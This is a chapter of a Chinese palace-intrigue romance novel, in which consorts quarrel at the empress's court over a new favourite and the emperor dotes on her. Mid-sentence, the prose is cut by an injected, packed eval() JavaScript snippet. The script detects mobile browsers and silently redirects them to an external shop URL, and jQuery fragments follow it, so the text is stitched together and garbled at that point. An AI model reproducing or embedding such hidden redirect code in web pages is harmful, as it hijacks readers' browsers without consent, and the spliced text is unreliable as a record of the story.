翌日一早,后宫嫔妃早就在坤宁宫落座,等宫女奉了茶,便左右攀谈了起来。
徐顺仪一袭碧色菡萏广袖裙,衬得她越加清丽脱俗。
她低头抿了一口,眼皮一抬看了眼斜前方坐在第一位的貌美女子。
她开口,语气就带着挑衅意味:“今儿可真是稀奇,我们姝妃娘娘怎的来给皇后娘娘请安了?”
被唤姝妃的女子一袭海棠红金线花鸟纹广袖袍,鬓边珠宝璀璨,她抬手放下茶盏,羊脂白玉的镯子都不如她肤色莹白。
只见她微微勾唇,“身为后宫嫔妃,自然要来给皇后娘娘行礼,本宫自然也不例外。”
徐顺仪听了这话垂眸,指尖轻抚着袖口处的玉兰花纹,轻轻一笑:“往常可没见你这么高的觉悟,但凡侍寝,一连告假几日都是有的。”
徐顺仪说完抬眸扫了一眼面色难看的姝妃,幽幽接着说道:“照妹妹看,给皇后娘娘请安是假,看看昨日新进的美人怕是真的。”
此话一出,四周三三两两攀谈的美人不约而同停下了话头。
姝妃噙着笑,拉长的眼线显得她格外盛气凌人。
她美眸一凝,“本宫告假可是皇上允许的,妹妹是想本宫抗旨不成?”
徐顺仪美眸闪过一丝怒意,可忽而又笑了起来:“姐姐这般生气,可见是昨晚没睡着?”
姝妃手指微缩,还未等她说话,一个温柔又带着不容置疑的女音缓缓传来。
“身为妃位自当心胸宽阔,况且宋贵人方入宫,皇上去看她也是应该的。”皇后身着金凤腾飞锦绣裙从侧殿缓缓走出含笑说道。
众妃嫔纷纷行礼,得了起身后,姝妃才回了话:
“皇后娘娘说得是,徐妹妹入宫一年,时常给您请安,也学不会娘娘您一分胸襟。”
姝妃谁的面子也没给,敲山震虎,连带两个人一起打。
皇后笑意僵硬了一瞬,刻意没接她的话,只若无其事照着女戒女训念了几句,便让她们退下。
姝妃眼神忽闪,坐在位置上没有起身。
徐顺仪向来是沉不住气的,“宋妹妹怎的今日不来了?往日姐妹们哪回侍寝不都来给皇后娘娘请安了,怎得就她娇贵些?”
后头正准备离去的妃嫔一看有戏瞧,又坐了下去。
其中一人言,“听说宋美人吃斋念佛,约莫真当自己是菩萨,不敬尊上了。”
“不来也好,山里的野丫头,规矩都不愿意学,白费了皇后娘娘一番苦心。”
“我们身为妃嫔自当为皇后娘娘分忧,寻常无事自可去摘星楼拜一拜。”
“那我们可要捐些香火钱?”
此话一出,殿里的美人们纷纷掩唇笑出了声。
皇后嘴角似有若无勾起,见她们越说越过分,便也不轻不重呵斥了一句。
“行了,宋贵人伺候皇上辛苦,不差这一日请安。”
这时外头许得胜领着圣旨快步走进来,先对着皇后行一礼后才打开圣旨宣纸。
“咨尔宋氏,钟灵毓秀,秉性柔嘉;肃雍和惠,克娴内则,册封尔为从五品婉仪,封号瓷。”
此话一出,各个嫔妃神色各异。皇后面色不显,再封也高不过她去。姝妃听了这封号眼里闪过一丝轻蔑的笑意,高傲地抬了抬下巴。
徐顺仪气得脸色铁青,只侍寝了一夜,便踩在她头上了!
姝妃侧头看见徐顺仪的模样,挑衅地朝她递了个眼神,见她越加气愤了,面色笑意更甚。
许得胜扬着得体的笑意,继续说了起来:“皇上说了,瓷婉仪自幼吃斋念佛为民祈福,特免了各宫行礼。”
许得胜说完,埋头无视各方刺来的剜心的眼神。
皇后骤然捏紧扶手,尖利的指甲在上面划了一条深痕。
她轻声吐气,慢慢平复心情,笑道:“应该的,皇上忧国忧民,臣妾等自当听旨。”
许得胜也不管她们是何表情,宣完旨便准备撤退。
走了一半,突然停了下来,转身朝着皇后先行一礼,才转头看着姝妃:
“回皇后娘娘,昨日几个太监手脚不干净拿了瓷婉仪的东西,被皇上下令打了手心,姝妃娘娘可自行前去内侍省领走。”
皇后嘴角勾起笑意,斜了一眼面容羞怒的姝妃,扬声让她们退下。
出了坤宁宫,徐顺仪笑得肆意畅快,“还以为有多沉得住气呢,原来和那丑鸭子一样,表面看着端庄,实则啊,底下扑棱着呢!”
姝妃走在前头,听了这话慢慢停了脚步,她缓缓转身看着身后跪着的一行人,眼里闪烁怒意,抬头看到了坤宁宫的牌匾后,起伏的胸膛逐渐平息。
和这个蠢货计较什么。
姝妃嘴角一勾,“底下人贪心,是本宫教导不周,幸得皇上怜惜才只打了手板。”
她说完,眼神一寸寸扫过跪地的那些美人。
“瓷婉仪位份在徐妹妹之上,日后若说错了话,惹得皇上不喜,这板子打在嘴巴上,徐妹妹可受的住?”
姝妃说完勾着笑,抬手摸了摸鬓边的绯红的琉璃簪子,眼里满是挑衅。
徐顺仪恶狠狠看着她远去的背影,脸上满是怒意。
“她是在炫耀自己得宠吗?!不就仗着自己爹是冠军侯吗?我看她姝妃还能嚣张到几时!”
坤宁宫外头的争斗哪里逃得过皇后的眼睛。
福安把看到的一言一行一字不落地禀报。
皇后坐在梳妆台前,看着镜子里贵气无双的面容,笑容凝了一瞬。
她抬手把凤簪拔出来,拍在桌面上。
“徐顺仪就是个没脑子的,用不着管。重要的是姝妃,你忘了当年皇上尚且还是太子的时候,她盛宠的模样了?”
皇后说到这眼里逐渐浮现一抹杀意,“当真是让人眼红,皇上每每征战凯旋,便会宿在她屋里,姝含院可真热闹啊……”
福安看着她落寞的模样,伸手替她松了盘发。
“娘娘何苦着急,如今进宫只是潜邸的几位妃嫔,三年一选秀,姝妃得意不了多久。”
皇后愣愣看着镜中尚且年轻的自己,“若本宫只是妃嫔,是不是……”
福安一急,连连打断她的话。
“娘娘切莫如此想法,后宫佳丽三千,可皇后娘娘只有一个。您何苦自降身份?”
皇后垂眸,许久后拿起那凤簪,笑容极淡。
“你说得对,本宫永远是皇后。”
她说完,眼眸中便没了之前的脆弱,“昨夜是何情况?”
福安看着她没了怒意,还未等稍稍松口气,便听了这话,一时竟也不知如何回答。
“福安?”皇后看着镜子里的倒影,看着她严声询问。
福安跪地,语气吞吞吐吐。
“昨个下午,皇上去了摘星楼便再也没出来,听……听说是叫了四回水……”
皇后扶着鬓边的手,猛地扯落一缕秀发。
福安大惊,连忙匍匐在地。
皇后怔愣一瞬,看着手中的青丝,轻抚着说道:
“本宫还真怕是个菩萨,带着皇上吃斋念佛去了,这消息可不能只本宫一个人知晓。”
福安眼珠子一转,没抬头继续回禀:“娘娘说得极是,奴婢这就去安排。”
——
摘星楼内,叶寒彻皱眉,片刻后缓缓睁开了眼睛。
他侧头看了眼枕在自己肩膀上睡得正香的女子,抬手拍了拍她跨在身上的长腿。
“知不知规矩?”
宋泠感受到腿肚传来的酸意,没睁眼,没收腿,淡淡问道:“什么规矩?”
“龙体岂能让你踩着?”
“不能踩,只能骑?”
叶寒彻倏地张大了凤眸,咬牙切齿地捏着她下巴使劲咬了一口。
“瓷婉仪!”
宋泠吃痛,僵硬收回腿,“松口。”
叶寒彻气笑了,搂着她的腰重重揉了一把。
“好大的胆子,敢命令朕!”
宋泠眨了眨眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17984978|214903||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
睛,看着飘纱的床顶,许久才反应过来昨晚干了什么。腰间有些酸意,腿也动弹不得。
叶寒彻支着脑袋,捏着她的脸,指腹在上面流连忘返。
“朕给你生了位份你没听见?”
宋泠只感觉浑身不舒服,又想到莲心说的那个画册里描绘的,便也静躺着不再动弹。
“所以你今晚还会来?”
叶寒彻手指一顿,掐着她精致的小脸,用力吻了上去。
他喘着气,哑着声说道:“到底哪个庙,出了你这么个妖精。”
宋泠怕动了身子功亏一篑,便也不推不闹,任由他放肆。
许久,叶寒彻贴着她唇瓣诱惑着问:“要朕来干什么?”
宋泠清冷如玉的面庞闪过一丝烦躁。
“睡觉。”宋泠说完怕他想岔了,补了一句:“和昨晚一样。”
叶寒彻眯了眯眸,一寸寸看过她绝色的面庞,最后落入那双清澈见底的眼眸,才明白,她不是故意的。
她压根就不懂。
叶寒彻这才想起她的身世,抿唇把她搂进怀里,起身抱了起来。
“许得胜,备膳。”
许得胜候在门外应了一声,立马吩咐人去办。
摘星楼后山便有一□□温泉,只三楼寝殿往后走,约莫一盏茶不到便能抵达。
宋泠看着两侧的竹林,搂着叶寒彻的脖子,支起身够了一片叶子下来,捏在手中把玩。
叶寒彻看了她这稚气的举动,只勾唇并未取笑她。
二人共同坐在温泉中,温热的水,极大缓解了宋泠身上的酸涩。
她抿了抿唇,感受到一股特殊的热流后,才发现自己琢磨了一夜的东西功亏一篑。
“山中可清苦?”
叶寒彻搂着她,摸到她凸起的脊背时,动作微顿了一瞬。
宋泠垂眸,把手中的竹叶丢在水面上,“不苦。”
叶寒彻抬起她的小脸,视线锁定着她,“是朕的错,朕若早日找到你,便不会让你受这么多苦。”
宋泠皱眉,不明白为何自己说得很明白了,他还是这么执拗。
不过现下需要他,暂且忍一忍。
宋泠等他伺候洗漱完,撑着他胸膛起身,从岸边勾起了衣裳自顾自穿了起来。
叶寒彻看她微蹙的眉,约莫是觉得说到她伤心之处,便也不再开口。
他起身,周遭水花溅起,池子里水面一阵拍打晃动,他虚披着龙袍牵着一席青纱长裙的宋泠望摘星楼走去。
里头许得胜已经备好了膳食,见二人过来,得了叶寒彻的同意,他咳嗽了两声,拿出了明黄的圣旨宣读了起来。
“婉仪娘娘,奴才给您去内侍省挑了几个伺候的宫女太监,您得空可挑个满意的。”
宋泠看着一桌精致小巧的素食,面色稍缓,“嗯,莲心去挑。”
许得胜得了信含笑领着莲心出门。
叶寒彻并未动筷,只侧身大马金刀地坐在她身旁,修长的大腿放在她身后,宋泠整个身子就如同坐在他怀中一般。
他手肘抵着桌面,支着额头,饶有兴致地看着宋泠用膳。
“除了封号,朕还免了你行礼,爱妃可如何感激朕?”
宋泠夹了一块清水豆腐,小口咽下,才说道:“我晚上去陪你。”
叶寒彻笑得得意,长臂一伸搂着她的腰,朝着她比豆腐还嫩的脸颊,重重吻了一口。
“就这么离不开朕?”
宋泠略一想,却是如此,便也诚实地点了点头。
外头的许得胜只听得房内一声畅快的笑声,还未走进,里面的人便大步迈了出来。
叶寒彻眼里还带着未消退的笑意。
“按例赏赐,幻月纱备……算了全给她,当无人能比她穿得还好看的了。除此之外,让人去后山汤池铺上暖玉。”
许得胜小跑在他后头跟着,越听越觉着心惊,身后的仪仗蜿蜒数米,而叶寒彻丝毫没想着坐轿辇,步伐意气风发。